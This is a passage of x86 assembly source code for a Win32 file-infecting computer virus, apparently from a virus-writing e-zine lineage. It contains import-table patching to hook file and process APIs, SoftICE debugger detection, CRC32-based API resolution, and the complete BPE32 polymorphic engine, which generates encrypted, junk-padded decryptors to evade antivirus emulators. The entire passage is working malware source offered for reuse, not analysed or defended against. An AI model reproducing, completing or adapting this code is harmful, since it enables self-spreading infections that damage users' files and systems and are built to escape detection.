jne sJMP ;no, get next address
|
|
mov eax, [esi+1]
|
|
mov [esp.cPushad.Pushad_eax+8], eax ;store register to stack
|
|
mov [esp.Pushad_esi], esi ;for l8r use
|
|
popad ;restore all registers
|
|
|
|
mov byte ptr [esi-1], 0e9h ;build JMP or CALL
|
|
j_or_c = byte ptr $-1
|
|
mov ebx, [esi+1]
|
|
mov eax, [esp.cPushad+10h] ;get address
|
|
add eax, [ebp + gmh - itDelta]
|
|
sub eax, esi ;- current address
|
|
sub eax, 4 ;+1-5
|
|
mov [esi], eax ;store built jmp instruction
|
|
mov byte ptr [esi+4], 90h
|
|
xchg eax, ebx
|
|
jmp endIT ;and quit
|
|
lJMP: dec ecx
|
|
jecxz endPIT-1
|
|
jmp sJMP ;search in a loop
|
|
popad ;restore all registers
|
|
endPIT: xor eax, eax
|
|
mov [esp.Pushad_eax+8], eax
|
|
endIT: @SEH_RemoveFrame ;remove SEH frame
|
|
popad ;restore all registers
|
|
ret 8 ;and quit
|
|
PatchIT EndP
|
|
|
|
rva2raw:pushad ;procedure for converting RVAs to RAW pointers
|
|
mov ecx, 0 ;0 if actual program
|
|
r2rp = dword ptr $-4
|
|
jecxz nr2r
|
|
mov edx, [esp.cPushad+4] ;no comments needed :)
|
|
movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
|
|
movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
|
|
lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
|
|
n_r2r: mov edi, [esi.SH_VirtualAddress]
|
|
add edi, [esi.SH_VirtualSize]
|
|
cmp edx, edi
|
|
jb c_r2r
|
|
add esi, IMAGE_SIZEOF_SECTION_HEADER
|
|
loop n_r2r
|
|
popad
|
|
ret
|
|
nr2r: add [esp.cPushad+4], eax
|
|
popad
|
|
ret
|
|
c_r2r: add eax, [esi.SH_PointerToRawData]
|
|
add eax, edx
|
|
sub eax, [esi.SH_VirtualAddress]
|
|
mov [esp.cPushad+4], eax
|
|
popad
|
|
ret
|
|
|
|
|
|
NewThread: ;thread starts here
|
|
pushad ;store all registers
|
|
@SEH_SetupFrame
|
|
mov ebp, [esp+2ch] ;get delta parameter
|
|
xor ecx, ecx ;zero ECX
|
|
and dword ptr [ebp + r2rp - gdelta], 0
|
|
g_hook: mov eax, [ebp + newHookers + ecx*4 - gdelta] ;take address to hooker
|
|
test eax, eax ;is it 0?
|
|
je q_hook ;yeah, quit
|
|
add eax, ebp
|
|
sub eax, [ebp + GMHA - gdelta]
|
|
push eax ;store address
|
|
push dword ptr [ebp + crchAPIs + ecx*4 - gdelta] ;store CRC32
|
|
mov eax, 0
|
|
GMHA = dword ptr $-4
|
|
call PatchIT ;and patch Import Table
|
|
mov esi, [ebp + oldHookers + ecx*4 - gdelta]
|
|
add esi, ebp
|
|
mov [esi], eax ;save old hooker
|
|
inc ecx ;increment counter
|
|
jmp g_hook ;loop
|
|
q_hook: @SEH_RemoveFrame
|
|
popad ;restore all registers
|
|
ret ;and terminate thread
|
|
|
|
|
|
;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first
|
|
;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes,
|
|
;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So,
|
|
;if u wanna use BPE32 in your code, use this version, not that version from
|
|
;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it.
|
|
;I also included there SALC opcode as a junk instruction.
|
|
|
|
BPE32 Proc
|
|
pushad ;save all regs
|
|
push edi ;save these regs for l8r use
|
|
push ecx ; ...
|
|
mov edx, edi ; ...
|
|
push esi ;preserve this reg
|
|
call rjunk ;generate random junk instructions
|
|
pop esi ;restore it
|
|
mov al, 0e8h ;create CALL instruction
|
|
stosb ; ...
|
|
mov eax, ecx ; ...
|
|
imul eax, 4 ; ...
|
|
stosd ; ...
|
|
|
|
mov eax, edx ;calculate size of CALL+junx
|
|
sub edx, edi ; ...
|
|
neg edx ; ...
|
|
add edx, eax ; ...
|
|
push edx ;save it
|
|
|
|
push 0 ;get random number
|
|
call random ; ...
|
|
xchg edx, eax
|
|
mov [ebp + xor_key - mgdelta], edx ;use it as xor constant
|
|
push 0 ;get random number
|
|
call random ; ...
|
|
xchg ebx, eax
|
|
mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant
|
|
x_loop: lodsd ;load DWORD
|
|
xor eax, edx ;encrypt it
|
|
stosd ;store encrypted DWORD
|
|
add edx, ebx ;increment key
|
|
loop x_loop ;next DWORD
|
|
|
|
call rjunk ;generate junx
|
|
|
|
mov eax, 0006e860h ;generate SEH handler
|
|
stosd ; ...
|
|
mov eax, 648b0000h ; ...
|
|
stosd ; ...
|
|
mov eax, 0ceb0824h ; ...
|
|
stosd ; ...
|
|
|
|
greg0: call get_reg ;get random register
|
|
cmp al, 5 ;MUST NOT be EBP register
|
|
je greg0
|
|
mov bl, al ;store register
|
|
mov dl, 11 ;proc parameter (do not generate MOV)
|
|
call make_xor ;create XOR or SUB instruction
|
|
inc edx ;destroy parameter
|
|
mov al, 64h ;generate FS:
|
|
stosb ;store it
|
|
mov eax, 896430ffh ;next SEH instructions
|
|
or ah, bl ;change register
|
|
stosd ;store them
|
|
mov al, 20h ; ...
|
|
add al, bl ; ...
|
|
stosb ; ...
|
|
|
|
push 2 ;get random number
|
|
call random
|
|
test eax, eax
|
|
je _byte_
|
|
mov al, 0feh ;generate INC DWORD PTR
|
|
jmp _dw_
|
|
_byte_: mov al, 0ffh ;generate INC BYTE PTR
|
|
_dw_: stosb ;store it
|
|
mov al, bl ;store register
|
|
stosb ; ...
|
|
mov al, 0ebh ;generate JUMP SHORT
|
|
stosb ; ...
|
|
mov al, -24d ;generate jump to start of code (trick
|
|
stosb ;for better emulators, e.g. NODICE32)
|
|
|
|
call rjunk ;generate junx
|
|
greg1: call get_reg ;generate random register
|
|
cmp al, 5 ;MUST NOT be EBP
|
|
je greg1
|
|
mov bl, al ;store it
|
|
|
|
call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0
|
|
|
|
mov al, 64h ;next SEH instructions
|
|
stosb ; ...
|
|
mov al, 8fh ; ...
|
|
stosb ; ...
|
|
mov al, bl ; ...
|
|
stosb ; ...
|
|
mov al, 58h ; ...
|
|
add al, bl ; ...
|
|
stosb ; ...
|
|
|
|
mov al, 0e8h ;generate CALL
|
|
stosb ; ...
|
|
xor eax, eax ; ...
|
|
stosd ; ...
|
|
push edi ;store for l8r use
|
|
call rjunk ;call junk generator
|
|
|
|
call get_reg ;random register
|
|
mov bl, al ;store it
|
|
push 1 ;random number (0-1)
|
|
call random ; ...
|
|
test eax, eax
|
|
jne next_delta
|
|
|
|
mov al, 8bh ;generate MOV reg, [ESP]; POP EAX
|
|
stosb
|
|
mov al, 80h
|
|
or al, bl
|
|
rol al, 3
|
|
stosb
|
|
mov al, 24h
|
|
stosb
|
|
mov al, 58h
|
|
jmp bdelta
|
|
|
|
next_delta:
|
|
mov al, bl ;generate POP reg; SUB reg, ...
|
|
add al, 58h
|
|
bdelta: stosb
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0e8h
|
|
add al, bl
|
|
stosb
|
|
pop eax
|
|
stosd
|
|
call rjunk ;random junx
|
|
|
|
xor bh, bh ;parameter (first execution only)
|
|
call greg2 ;generate MOV sourcereg, ...
|
|
mov al, 3 ;generate ADD sourcereg, deltaoffset
|
|
stosb ; ...
|
|
mov al, 18h ; ...
|
|
or al, bh ; ...
|
|
rol al, 3 ; ...
|
|
or al, bl ; ...
|
|
stosb ; ...
|
|
mov esi, ebx ;store EBX
|
|
call greg2 ;generate MOV countreg, ...
|
|
mov cl, bh ;store count register
|
|
mov ebx, esi ;restore EBX
|
|
|
|
call greg3 ;generate MOV keyreg, ...
|
|
push edi ;store this position for jump to decryptor
|
|
mov al, 31h ;generate XOR [sourcereg], keyreg
|
|
stosb ; ...
|
|
mov al, ch ; ...
|
|
rol al, 3 ; ...
|
|
or al, bh ; ...
|
|
stosb ; ...
|
|
|
|
push 6 ;this stuff will choose ordinary of calls
|
|
call random ;to code generators
|
|
test eax, eax
|
|
je g5 ;GREG4 - key incremention
|
|
cmp al, 1 ;GREG5 - source incremention
|
|
je g1 ;GREG6 - count decremention
|
|
cmp al, 2 ;GREG7 - decryption loop
|
|
je g2
|
|
cmp al, 3
|
|
je g3
|
|
cmp al, 4
|
|
je g4
|
|
|
|
g0: call gg1
|
|
call greg6
|
|
jmp g_end
|
|
g1: call gg2
|
|
call greg5
|
|
jmp g_end
|
|
g2: call greg5
|
|
call gg2
|
|
jmp g_end
|
|
g3: call greg5
|
|
gg3: call greg6
|
|
jmp g_out
|
|
g4: call greg6
|
|
call gg1
|
|
jmp g_end
|
|
g5: call greg6
|
|
call greg5
|
|
g_out: call greg4
|
|
g_end: call greg7
|
|
mov al, 61h ;generate POPAD instruction
|
|
stosb ; ...
|
|
call rjunk ;junk instruction generator
|
|
mov al, 0c3h ;RET instruction
|
|
stosb ; ...
|
|
pop eax ;calculate size of decryptor and encrypted data
|
|
sub eax, edi ; ...
|
|
neg eax ; ...
|
|
mov [esp.Pushad_eax], eax ;store it to EAX register
|
|
popad ;restore all regs
|
|
ret ;and thats all folx
|
|
get_reg proc ;this procedure generates random register
|
|
push 8 ;random number (0-7)
|
|
call random ; ...
|
|
test eax, eax
|
|
je get_reg ;MUST NOT be 0 (=EAX is used as junk register)
|
|
cmp al, 100b ;MUST NOT be ESP
|
|
je get_reg
|
|
ret
|
|
get_reg endp
|
|
make_xor proc ;this procedure will generate instruction, that
|
|
push 3 ;will nulify register (BL as parameter)
|
|
call random
|
|
test eax, eax
|
|
je _sub_
|
|
cmp al, 1
|
|
je _mov_
|
|
mov al, 33h ;generate XOR reg, reg
|
|
jmp _xor_
|
|
_sub_: mov al, 2bh ;generate SUB reg, reg
|
|
_xor_: stosb
|
|
mov al, 18h
|
|
or al, bl
|
|
rol al, 3
|
|
or al, bl
|
|
stosb
|
|
ret
|
|
_mov_: cmp dl, 11 ;generate MOV reg, 0
|
|
je make_xor
|
|
mov al, 0b8h
|
|
add al, bl
|
|
stosb
|
|
xor eax, eax
|
|
stosd
|
|
ret
|
|
make_xor endp
|
|
gg1: call greg4
|
|
jmp greg5
|
|
gg2: call greg4
|
|
jmp greg6
|
|
|
|
random proc ;this procedure will generate random number
|
|
;in range from 0 to pushed_parameter-1
|
|
;0 = do not truncate result
|
|
push edx ;save EDX
|
|
RDTCS ;RDTCS instruction - reads PCs tix and stores
|
|
;number of them into pair EDX:EAX
|
|
xor edx, edx ;nulify EDX, we need only EAX
|
|
cmp [esp+8], edx ;is parameter==0 ?
|
|
je r_out ;yeah, do not truncate result
|
|
div dword ptr [esp+8] ;divide it
|
|
xchg eax, edx ;remainder as result
|
|
r_out: pop edx ;restore EDX
|
|
ret Pshd ;quit procedure and destroy pushed parameter
|
|
random endp
|
|
make_xor2 proc ;create XOR instruction
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0f0h
|
|
add al, bh
|
|
stosb
|
|
ret
|
|
make_xor2 endp
|
|
|
|
greg2 proc ;1 parameter = source/count value
|
|
call get_reg ;get register
|
|
cmp al, bl ;already used ?
|
|
je greg2
|
|
cmp al, 5
|
|
je greg2
|
|
cmp al, bh
|
|
je greg2
|
|
mov bh, al
|
|
|
|
mov ecx, [esp+4] ;get parameter
|
|
push 5 ;choose instructions
|
|
call random
|
|
test eax, eax
|
|
je s_next0
|
|
cmp al, 1
|
|
je s_next1
|
|
cmp al, 2
|
|
je s_next2
|
|
cmp al, 3
|
|
je s_next3
|
|
|
|
mov al, 0b8h ;MOV reg, random_value
|
|
add al, bh ;XOR reg, value
|
|
stosb ;param = random_value xor value
|
|
push 0
|
|
call random
|
|
xor ecx, eax
|
|
stosd
|
|
call make_xor2
|
|
mov eax, ecx
|
|
jmp n_end2
|
|
s_next0:mov al, 68h ;PUSH random_value
|
|
stosb ;POP reg
|
|
push 0 ;XOR reg, value
|
|
call random ;result = random_value xor value
|
|
xchg eax, ecx
|
|
xor eax, ecx
|
|
stosd
|
|
mov al, 58h
|
|
add al, bh
|
|
stosb
|
|
call make_xor2
|
|
xchg eax, ecx
|
|
jmp n_end2
|
|
s_next1:mov al, 0b8h ;MOV EAX, random_value
|
|
stosb ;MOV reg, EAX
|
|
push 0 ;SUB reg, value
|
|
call random ;result = random_value - value
|
|
stosd
|
|
push eax
|
|
mov al, 8bh
|
|
stosb
|
|
mov al, 18h
|
|
or al, bh
|
|
rol al, 3
|
|
stosb
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0e8h
|
|
add al, bh
|
|
stosb
|
|
pop eax
|
|
sub eax, ecx
|
|
jmp n_end2
|
|
s_next2:push ebx ;XOR reg, reg
|
|
mov bl, bh ;XOR reg, random_value
|
|
call make_xor ;ADD reg, value
|
|
pop ebx ;result = random_value + value
|
|
call make_xor2
|
|
push 0
|
|
call random
|
|
sub ecx, eax
|
|
stosd
|
|
push ecx
|
|
call s_lbl
|
|
pop eax
|
|
jmp n_end2
|
|
s_lbl: mov al, 81h ;create ADD reg, ... instruction
|
|
stosb
|
|
mov al, 0c0h
|
|
add al, bh
|
|
stosb
|
|
ret
|
|
s_next3:push ebx ;XOR reg, reg
|
|
mov bl, bh ;ADD reg, random_value
|
|
call make_xor ;XOR reg, value
|
|
pop ebx ;result = random_value xor value
|
|
push 0
|
|
call random
|
|
push eax
|
|
xor eax, ecx
|
|
xchg eax, ecx
|
|
call s_lbl
|
|
xchg eax, ecx
|
|
stosd
|
|
call make_xor2
|
|
pop eax
|
|
n_end2: stosd
|
|
push esi
|
|
call rjunk
|
|
pop esi
|
|
ret Pshd
|
|
greg2 endp
|
|
|
|
greg3 proc
|
|
call get_reg ;get register
|
|
cmp al, 5 ;already used ?
|
|
je greg3
|
|
cmp al, bl
|
|
je greg3
|
|
cmp al, bh
|
|
je greg3
|
|
cmp al, cl
|
|
je greg3
|
|
mov ch, al
|
|
mov edx, 0 ;get encryption key value
|
|
xor_key = dword ptr $ - 4
|
|
|
|
push 3
|
|
call random
|
|
test eax, eax
|
|
je k_next1
|
|
cmp al, 1
|
|
je k_next2
|
|
|
|
push ebx ;XOR reg, reg
|
|
mov bl, ch ;OR, ADD, XOR reg, value
|
|
call make_xor
|
|
pop ebx
|
|
|
|
mov al, 81h
|
|
stosb
|
|
push 3
|
|
call random
|
|
test eax, eax
|
|
je k_nxt2
|
|
cmp al, 1
|
|
je k_nxt3
|
|
|
|
mov al, 0c0h
|
|
k_nxt1: add al, ch
|
|
stosb
|
|
xchg eax, edx
|
|
n_end1: stosd
|
|
k_end: call rjunk
|
|
ret
|
|
k_nxt2: mov al, 0f0h
|
|
jmp k_nxt1
|
|
k_nxt3: mov al, 0c8h
|
|
jmp k_nxt1
|
|
k_next1:mov al, 0b8h ;MOV reg, value
|
|
jmp k_nxt1
|
|
k_next2:mov al, 68h ;PUSH value
|
|
stosb ;POP reg
|
|
xchg eax, edx
|
|
stosd
|
|
mov al, ch
|
|
add al, 58h
|
|
jmp i_end1
|
|
greg3 endp
|
|
|
|
greg4 proc
|
|
mov edx, 0 ;get key increment value
|
|
key_inc = dword ptr $ - 4
|
|
i_next: push 3
|
|
call random
|
|
test eax, eax
|
|
je i_next0
|
|
cmp al, 1
|
|
je i_next1
|
|
cmp al, 2
|
|
je i_next2
|
|
|
|
mov al, 90h ;XCHG EAX, reg
|
|
add al, ch ;XOR reg, reg
|
|
stosb ;OR reg, EAX
|
|
push ebx ;ADD reg, value
|
|
mov bl, ch
|
|
call make_xor
|
|
pop ebx
|
|
mov al, 0bh
|
|
stosb
|
|
mov al, 18h
|
|
add al, ch
|
|
rol al, 3
|
|
stosb
|
|
i_next0:mov al, 81h ;ADD reg, value
|
|
stosb
|
|
mov al, 0c0h
|
|
add al, ch
|
|
stosb
|
|
xchg eax, edx
|
|
jmp n_end1
|
|
i_next1:mov al, 0b8h ;MOV EAX, value
|
|
stosb ;ADD reg, EAX
|
|
xchg eax, edx
|
|
stosd
|
|
mov al, 3
|
|
stosb
|
|
mov al, 18h
|
|
or al, ch
|
|
rol al, 3
|
|
i_end1: stosb
|
|
i_end2: call rjunk
|
|
ret
|
|
i_next2:mov al, 8bh ;MOV EAX, reg
|
|
stosb ;ADD EAX, value
|
|
mov al, 0c0h ;XCHG EAX, reg
|
|
add al, ch
|
|
stosb
|
|
mov al, 5
|
|
stosb
|
|
xchg eax, edx
|
|
stosd
|
|
mov al, 90h
|
|
add al, ch
|
|
jmp i_end1
|
|
greg4 endp
|
|
|
|
greg5 proc
|
|
push ecx
|
|
mov ch, bh
|
|
push 4
|
|
pop edx
|
|
push 2
|
|
call random
|
|
test eax, eax
|
|
jne ng5
|
|
call i_next ;same as previous, value=4
|
|
pop ecx
|
|
jmp k_end
|
|
ng5: mov al, 40h ;4x inc reg
|
|
add al, ch
|
|
pop ecx
|
|
stosb
|
|
stosb
|
|
stosb
|
|
jmp i_end1
|
|
greg5 endp
|
|
|
|
greg6 proc
|
|
push 5
|
|
call random
|
|
test eax, eax
|
|
je d_next0
|
|
cmp al, 1
|
|
je d_next1
|
|
cmp al, 2
|
|
je d_next2
|
|
|
|
mov al, 83h ;SUB reg, 1
|
|
stosb
|
|
mov al, 0e8h
|
|
add al, cl
|
|
stosb
|
|
mov al, 1
|
|
jmp i_end1
|
|
d_next0:mov al, 48h ;DEC reg
|
|
add al, cl
|
|
jmp i_end1
|
|
d_next1:mov al, 0b8h ;MOV EAX, random_value
|
|
stosb ;SUB reg, EAX
|
|
push 0 ;ADD reg, random_value-1
|
|
call random
|
|
mov edx, eax
|
|
stosd
|
|
mov al, 2bh
|
|
stosb
|
|
mov al, 18h
|
|
add al, cl
|
|
rol al, 3
|
|
stosb
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0c0h
|
|
add al, cl
|
|
stosb
|
|
dec edx
|
|
mov eax, edx
|
|
jmp n_end1
|
|
d_next2:mov al, 90h ;XCHG EAX, reg
|
|
add al, cl ;DEC EAX
|
|
stosb ;XCHG EAX, reg
|
|
mov al, 48h
|
|
stosb
|
|
mov al, 90h
|
|
add al, cl
|
|
jmp i_end1
|
|
greg6 endp
|
|
|
|
greg7 proc
|
|
mov edx, [esp+4]
|
|
dec edx
|
|
push 2
|
|
call random
|
|
test eax, eax
|
|
je l_next0
|
|
mov al, 51h ;PUSH ECX
|
|
stosb ;MOV ECX, reg
|
|
mov al, 8bh ;JECXZ label
|
|
stosb ;POP ECX
|
|
mov al, 0c8h ;JMP decrypt_loop
|
|
add al, cl ;label:
|
|
stosb ;POP ECX
|
|
mov eax, 0eb5903e3h
|
|
stosd
|
|
sub edx, edi
|
|
mov al, dl
|
|
stosb
|
|
mov al, 59h
|
|
jmp l_next
|
|
l_next0:push ebx ;XOR EAX, EAX
|
|
xor bl, bl ;DEC EAX
|
|
call make_xor ;ADD EAX, reg
|
|
pop ebx ;JNS decrypt_loop
|
|
mov al, 48h
|
|
stosb
|
|
mov al, 3
|
|
stosb
|
|
mov al, 0c0h
|
|
add al, cl
|
|
stosb
|
|
mov al, 79h
|
|
stosb
|
|
sub edx, edi
|
|
mov al, dl
|
|
l_next: stosb
|
|
call rjunk
|
|
ret Pshd
|
|
greg7 endp
|
|
|
|
rjunkjc:push 7
|
|
call random
|
|
jmp rjn
|
|
rjunk proc ;junk instruction generator
|
|
push 8
|
|
call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
|
|
rjn: test eax, eax
|
|
je j5
|
|
cmp al, 1
|
|
je j_1x2
|
|
cmp al, 2
|
|
je j_2x1
|
|
cmp al, 4
|
|
je j2
|
|
cmp al, 5
|
|
je j3
|
|
cmp al, 6
|
|
je r_end
|
|
cmp al, 7
|
|
je jcj
|
|
|
|
j1: call junx1 ;one byte junk instruction
|
|
nop
|
|
dec eax
|
|
SALC
|
|
inc eax
|
|
clc
|
|
cwde
|
|
stc
|
|
cld
|
|
junx1: pop esi
|
|
push 8
|
|
call random
|
|
add esi, eax
|
|
movsb
|
|
ret
|
|
j_1x2: call j1 ;one byte and two byte
|
|
jmp j2
|
|
j_2x1: call j2 ;two byte and one byte
|
|
jmp j1
|
|
j3: call junx3
|
|
db 0c1h, 0c0h ;rol eax, ...
|
|
db 0c1h, 0e0h ;shl eax, ...
|
|
db 0c1h, 0c8h ;ror eax, ...
|
|
db 0c1h, 0e8h ;shr eax, ...
|
|
db 0c1h, 0d0h ;rcl eax, ...
|
|
db 0c1h, 0f8h ;sar eax, ...
|
|
db 0c1h, 0d8h ;rcr eax, ...
|
|
db 083h, 0c0h
|
|
db 083h, 0c8h
|
|
db 083h, 0d0h
|
|
db 083h, 0d8h
|
|
db 083h, 0e0h
|
|
db 083h, 0e8h
|
|
db 083h, 0f0h
|
|
db 083h, 0f8h ;cmp eax, ...
|
|
db 0f8h, 072h ;clc; jc ...
|
|
db 0f9h, 073h ;stc; jnc ...
|
|
|
|
junx3: pop esi ;three byte junk instruction
|
|
push 17
|
|
call random
|
|
imul eax, 2
|
|
add esi, eax
|
|
movsb
|
|
movsb
|
|
r_ran: push 0
|
|
call random
|
|
test al, al
|
|
je r_ran
|
|
stosb
|
|
ret
|
|
j2: call junx2
|
|
db 8bh ;mov eax, ...
|
|
db 03h ;add eax, ...
|
|
db 13h ;adc eax, ...
|
|
db 2bh ;sub eax, ...
|
|
db 1bh ;sbb eax, ...
|
|
db 0bh ;or eax, ...
|
|
db 33h ;xor eax, ...
|
|
db 23h ;and eax, ...
|
|
db 33h ;test eax, ...
|
|
|
|
junx2: pop esi ;two byte junk instruction
|
|
push 9
|
|
call random
|
|
add esi, eax
|
|
movsb
|
|
push 8
|
|
call random
|
|
add al, 11000000b
|
|
stosb
|
|
r_end: ret
|
|
j5: call junx5
|
|
db 0b8h ;mov eax, ...
|
|
db 05h ;add eax, ...
|
|
db 15h ;adc eax, ...
|
|
db 2dh ;sub eax, ...
|
|
db 1dh ;sbb eax, ...
|
|
db 0dh ;or eax, ...
|
|
db 35h ;xor eax, ...
|
|
db 25h ;and eax, ...
|
|
db 0a9h ;test eax, ...
|
|
db 3dh ;cmp eax, ...
|
|
|
|
junx5: pop esi ;five byte junk instruction
|
|
push 10
|
|
call random
|
|
add esi, eax
|
|
movsb
|
|
push 0
|
|
call random
|
|
stosd
|
|
ret
|
|
jcj: call rjunkjc ;junk
|
|
push edx ;CALL label1
|
|
push ebx ;junk
|
|
push ecx ;JMP label2
|
|
mov al, 0e8h ;junk
|
|
stosb ;label1: junk
|
|
push edi ;RET
|
|
stosd ;junk
|
|
push edi ;label2:
|
|
call rjunkjc ;junk
|
|
mov al, 0e9h
|
|
stosb
|
|
mov ecx, edi
|
|
stosd
|
|
mov ebx, edi
|
|
call rjunkjc
|
|
pop eax
|
|
sub eax, edi
|
|
neg eax
|
|
mov edx, edi
|
|
pop edi
|
|
stosd
|
|
mov edi, edx
|
|
call rjunkjc
|
|
mov al, 0c3h
|
|
stosb
|
|
call rjunkjc
|
|
sub ebx, edi
|
|
neg ebx
|
|
xchg eax, ebx
|
|
push edi
|
|
mov edi, ecx
|
|
stosd
|
|
pop edi
|
|
call rjunkjc
|
|
pop ecx
|
|
pop ebx
|
|
pop edx
|
|
ret
|
|
rjunk endp
|
|
BPE32 EndP ;BPE32 ends here
|
|
|
|
|
|
szK32 db 'KERNEL32.dll',0 ;name of DLL
|
|
sice95 db '\\.\SICE',0 ;SoftICE/95/98
|
|
siceNT db '\\.\NTICE',0 ;SoftICE/NT
|
|
;APIs needed at run-time
|
|
crcAPIs dd 0AE17EBEFh ;FindFirstFileA
|
|
dd 0AA700106h ;FindNextFileA
|
|
dd 0C200BE21h ;FindClose
|
|
dd 03C19E536h ;SetFileAttributesA
|
|
dd 04B2A3E7Dh ;SetFileTime
|
|
dd 08C892DDFh ;CreateFileA
|
|
dd 096B2D96Ch ;CreateFileMappingA
|
|
dd 0797B49ECh ;MapViewOfFile
|
|
dd 094524B42h ;UnmapViewOfFile
|
|
dd 019F33607h ;CreateThread
|
|
dd 0D4540229h ;WaitForSingleObject
|
|
dd 068624A9Dh ;CloseHandle
|
|
dd 020B943E7h ;CreateMutexA
|
|
dd 0C449CF4Eh ;ReleaseMutex
|
|
dd 0C6F22166h ;OpenMutexA
|
|
dd 00AC136BAh ;Sleep
|
|
dd 079C3D4BBh ;VirtualProtect
|
|
dd 0EB1CE85Ch ;GetCurrentProcessId
|
|
dd 033D350C4h ;OpenProcess
|
|
dd 041A050AFh ;TerminateProcess
|
|
dd 04134D1ADh ;LoadLibraryA
|
|
dd 0FFC97C1Fh ;GetProcAddress
|
|
dd 0AFDF191Fh ;FreeLibrary
|
|
|
|
;APIs to hook
|
|
crchAPIs dd 0AE17EBEFh ;FindFirstFileA
|
|
dd 0AA700106h ;FindNextFileA
|
|
dd 05BD05DB1h ;CopyFileA
|
|
dd 0953F2B64h ;CopyFileExA
|
|
dd 08C892DDFh ;CreateFileA
|
|
dd 0267E0B05h ;CreateProcessA
|
|
dd 0DE256FDEh ;DeleteFileA
|
|
dd 0C633D3DEh ;GetFileAttributesA
|
|
dd 08F48B20Dh ;GetFullPathNameA
|
|
dd 0F2F886E3h ;_lopen
|
|
dd 02308923Fh ;MoveFileA
|
|
dd 03BE43958h ;MoveFileExA
|
|
dd 068D8FC46h ;OpenFile
|
|
dd 03C19E536h ;SetFileAttributesA
|
|
dd 028452C4Fh ;WinExec
|
|
dd 040F57181h ;ExitProcess
|
|
dd 0058F9201h ;ExitThread
|
|
dd 087D52C94h ;GetLastError
|
|
dd 068624A9Dh ;CloseHandle
|
|
|
|
;APIs to patch
|
|
crcpAPIs dd 0E141042Ah ;GetProcessHeap
|
|
dd 042F13D06h ;GetVersion
|
|
dd 0DE5C074Ch ;GetVersionEx
|
|
dd 052CA6A8Dh ;GetStartupInfoA
|
|
dd 04E52DF5Ah ;GetStartupInfoW
|
|
dd 03921BF03h ;GetCommandLineA
|
|
dd 025B90AD4h ;GetCommandLineW
|
|
dd 003690E66h ;GetCurrentProcess
|
|
dd 019F33607h ;CreateThread
|
|
dd 082B618D4h ;GetModuleHandleA
|
|
dd 09E2EAD03h ;GetModuleHandleW
|
|
dd ?
|
|
virus_end: ;end of virus in host
|
|
|
|
tmp dd ? ;temporary variable
|
|
org tmp ;overlay
|
|
WFD WIN32_FIND_DATA ? ;Win32 Find Data
|
|
WFD2 WIN32_FIND_DATA ? ;Win32 Find Data
|
|
data_buffer db 256 dup (?) ;buffer for VLCB_TData
|
|
size_unint = $ - virus_end ;size of unitialized
|
|
;variables
|
|
|
|
;used only by first generation of virus
|
|
workspace1 db 16 dup (?) ;usd by compression
|
|
workspace2 db 16 dup (?) ;engine
|
|
_GetModuleHandleA dd offset GetModuleHandleA
|
|
ends ;end of code section
|
|
End first_gen ;end of virus
|
|
|
|
|
|
|
|
|